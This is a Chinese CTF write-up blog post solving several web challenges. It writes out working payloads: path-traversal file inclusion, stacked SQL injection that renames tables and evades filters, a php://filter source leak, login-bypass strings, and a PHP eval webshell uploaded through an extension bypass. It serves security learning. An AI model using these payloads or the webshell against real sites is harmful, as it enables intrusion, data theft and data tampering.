2021-01-15
第一题:[HCTF 2018]WarmUp
这里懒得上传图片了,所以就直接笔记了
源代码里面有1.source.php,所以打开以后还会发先2.hint.php
1打开后会发现是代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
/**isset在php中用来判断变量是否声明,该函数返回布尔类型的值,即true/false。isset只能用于变量,因为传递任何其它参数都将造成解析错误。is_string用来检查传入的值是否为字符串**/
}
if (in_array($page, $whitelist)) {
return true;
/**in_array — 检查数组中是否存在某个值,这里判断page是否存在于whitelist数 组 中 , 存 在 则 返 回 true**/
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
/**
对mb_substr函数的解释:函数返回字符串的一部分,针对中文
<?php
echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>
mb_strpos (要被检查的字符串,要搜索的字符串)
<?php
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
输出结果:14
这里整个嵌套意思是截取page中’?‘前部分
**/
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
/**
这里也就是说进行了两次url解码,一次是服务器自动解码,一次是此处解码
**/
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])#这段代码意思就是响应的file参数不能为空,而且必须是是字符串,并且还要检查在checkfile里面检查,这里将我们的的值传到emmm类里面的checkFile函数,这三个值通过&&逻辑与运算符连接也就是要求这块函数的返回值要全为真才能执行if里面的文件包含的代码 否则就执行else里面的图片代码#
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
2打开后会发现:flag not here, and flag in ffffllllaaaagggg
也就是说flag在这个文件里面
所以说这个经过分析完以后,就是结构/?file=source.php?/…/…/…/…/ffffllllaaaagggg
然后就是对?进行url编码%253F这里…/就是
所以就是/?file=hint.php%253f/…/…/…/…/…/…/…/…/ffffllllaaaagggg
同样/?file=source.php%253f/…/…/…/…/…/…/…/…/ffffllllaaaagggg都可以
因为source与hint都在whitelist的白名单里面,这里就是类似于将这个题目定向
没什么东西
flag{7c4ca688-51e1-4235-958a-fad970c48f7b}
回头补充:
include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
[强网杯 2019]随便注
输入1得
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
输入1’
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
报错了
输入:1’ or 1=1#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
爆出一些没有用的数组,但是说明了万能钥匙好用,存在注入点
输入:1’ union select 1,2#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这可能是进入了某一步算法中了反正联合查询应该是凉了(全剧终)
考虑堆叠注入(学到了):
原理:在sql语句中以;表示一个语句的结束,如果一个sql语句结束后再接着一个sql语句,就会执行这两条sql语句
输入:1’;show databases;#
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
输入:-1’;show tables from supersqli;#
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
输入:-1’;show columns from 1919810931114514;#(字符串为表名操作时要加反引号)``
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
输入:1’;show columns from words;#(查看表words表的字段)
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
注意(重点):
- 1' or 1=1# 希望展示所有内容
- 一般SQL代码中会有这copy么一段select * from (表名) where = 变量,
- 当通过注入后会变成select * from (表名) where id = 变量 OR 1=1;
- 就会使百where后面的表达式变成一句可有可无的表达式,因为or前面执行成功,且1=1为真。不会报错
- 就与select * from (表名)相等然后就可以通过这种句式来取得当前数据表中所有的用户信息答。
- 但显然失败了,猜测表名应该是words,所以才没有显示flag,所以可能是select * from words where id = 变量
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
解释:
- rename table `words` to `words1`; 修改表 words 改名为其它,
- rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words ,
- alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id ,
- 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id,
- 然后再 1' or 1=1# ,展示flag
2021-4-27补充:
已经学习完了alter语句,和预变量
这里主要对预处理进行解释:
SET @tn = '`1919810931114514`'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
或者:
利用char()函数将select字符串的ASCII码转为select字符串,接着用concat()函数镜像拼接到select查询语句,从而绕过过滤
1';
PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
1';
SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');
PREPARE hacker from @sqli;
EXECUTE hacker;#
1';
PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE hacker;#
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
flag{e5334182-fc16-4c20-8ac3-753301d2925d}
VARCHAR(size):保存可变长度的字符串(可包含字母、数字以及特殊字符)。在括号中指定字符串的最大长度。最多 255 个字符。**注释:**如果值的长度大于 255,则被转换为 TEXT 类型。
[ACTF2020 新生赛]Include
php伪协议
特点:文件包含,/?file=flag.php
payload:file=php://filter/read=convert.base64-encode/resource=flag.php
得:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MzEyOTZhNWUtZjRiMy00ZTY1LTg5MGEtOThjNjZhMWU5MWI0fQo=
base64得:
<?php
echo "Can you find out the flag?";
//flag{31296a5e-f4b3-4e65-890a-98c66a1e91b4}
[ACTF2020 新生赛]Upload
小马:
GIF89a
<?php @eval($_POST['666']);?>
首先上传.php文件发现对后缀进行了限制
改为shell.php.png同时抓包删除png
得到一个页面以后查看源代码发现:
Upload Success! Look here~ ./uplo4d/3d694425bf5c9803db0c7b3d776cd2f1.png
发现确实存在,但是被重命名了,而且变成了一个png
重新尝试后缀绕过shell.phtml(通过抓包修改)
得到:
Upload Success! Look here~ ./uplo4d/bd914ca4997d34857501cefab0064162.phtml
回到根目录查看flag即可
或者数据终端cat /flag
2021-01-25
[极客大挑战 2019]EasySQL
用户名:1’ or 1=1#
密码:123
得到flag:flag{161e4d70-8d13-4f80-8a96-c01d5eb7b540}
[极客大挑战 2019]Havefun
查看源代码:
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
构造参数?cat=dog,结果直接得到了flag:flag{1fb1365e-7d13-4ee4-94ec-e93656f4d96e}
什么情况??这也太。。。
[SUCTF 2019]EasySQL
输入1的结果与输入3-2的结果一样。所以判断为整数型注入,接下来构造注入语句:
当我输入-1 union select 1,2#和其他字符转的时候,都会被转义,所以就很有可能是被转义了,联合查询放弃,考虑堆叠注入:
1;show databases;#(展现所有数据库)
得到结果:
Array ( [0] => 1 )
Array ( [0] => ctf )
Array ( [0] => ctftraining )
Array ( [0] => information_schema )
Array ( [0] => mysql )
Array ( [0] => performance_schema )
Array ( [0] => test )
我感觉在test里面,构造语句:1;show tables from test;#结果是一点不好使
当输入1;show tables;时候回显:
Array ( [0] => 1 )
Array ( [0] => Flag )
ok,看wp吧:也不知道是怎么想的,
解法1:
输入的内容为*,1
内置的sql语句为:select $post[‘query’]||flag from Flag
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag(此时||是逻辑“或”)也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内
解法2:
1.输入 1 或 0 查询结果如图,要想办法让 ||不是逻辑或
官方给的 payload 是1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符
2.这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个||相当于是将 select 1 和 select flag from flag 的结果拼接在一起
自我理解:sql_mode=PIPES_AS_CONCAT将后面查询的结果同时输出
不错,挺好的题,盗:
附加几种常见的sql_mode值的介绍:
几种常见的mode介绍
ONLY_FULL_GROUP_BY:出现在select语句、HAVING条件和ORDER BY语句中的列,必须是GROUP BY的列或者依赖于GROUP BY列的函数列。
NO_AUTO_VALUE_ON_ZERO:该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。
STRICT_TRANS_TABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制
NO_ZERO_IN_DATE:这个模式影响了是否允许日期中的月份和日包含0。如果开启此模式,2016-01-00是不允许的,但是0000-02-01是允许的。它实际的行为受到 strict mode是否开启的影响1。
NO_ZERO_DATE:设置该值,mysql数据库不允许插入零日期。它实际的行为受到 strictmode是否开启的影响2。
ERROR_FOR_DIVISION_BY_ZERO:在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时MySQL返回NULL
NO_AUTO_CREATE_USER:禁止GRANT创建密码为空的用户
NO_ENGINE_SUBSTITUTION:如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常
PIPES_AS_CONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
ANSI_QUOTES:启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符
[极客大挑战 2019]LoveSQL
后端结构是username=’‘passwd=’’
注入开始:username=‘1’ or 1 = 1#passwd=’’
得到回显:Hello admin!
Your password is '817b66fd2bafc98336e2618cf0e66578’
构造username='admin’passwd=‘817b66fd2bafc98336e2618cf0e66578’
密码是flag嘛。。。flag{817b66fd2bafc98336e2618cf0e66578}也不对,难道密码是个表??继续构造:
username=‘admin’ union select table_name from 817b66fd2bafc98336e2618cf0e66578#‘passwd=’’
得到:Table ‘geek.817b66fd2bafc98336e2618cf0e66578’ doesn’t exist
继续:username=‘admin’ order by 3#‘passwd=’’
返回结果与成功登陆admin结果一样
继续admin’ order by 4#
得到回显:Unknown column ‘4’ in ‘order clause’,好,3列确定了,继续构造:1’ union select 1,2,3#得到:
Hello 2!

本文详细记录了PHP环境下的多种安全漏洞利用,包括SQL注入、文件包含、命令执行等,通过实例展示了如何利用这些漏洞获取敏感信息。同时,文章还探讨了PHP的反序列化、伪协议利用以及Web应用防火墙绕过等高级技巧,为Web安全学习者提供了丰富的实践素材。
最低0.47元/天 解锁文章
1796

被折叠的 条评论
为什么被折叠?



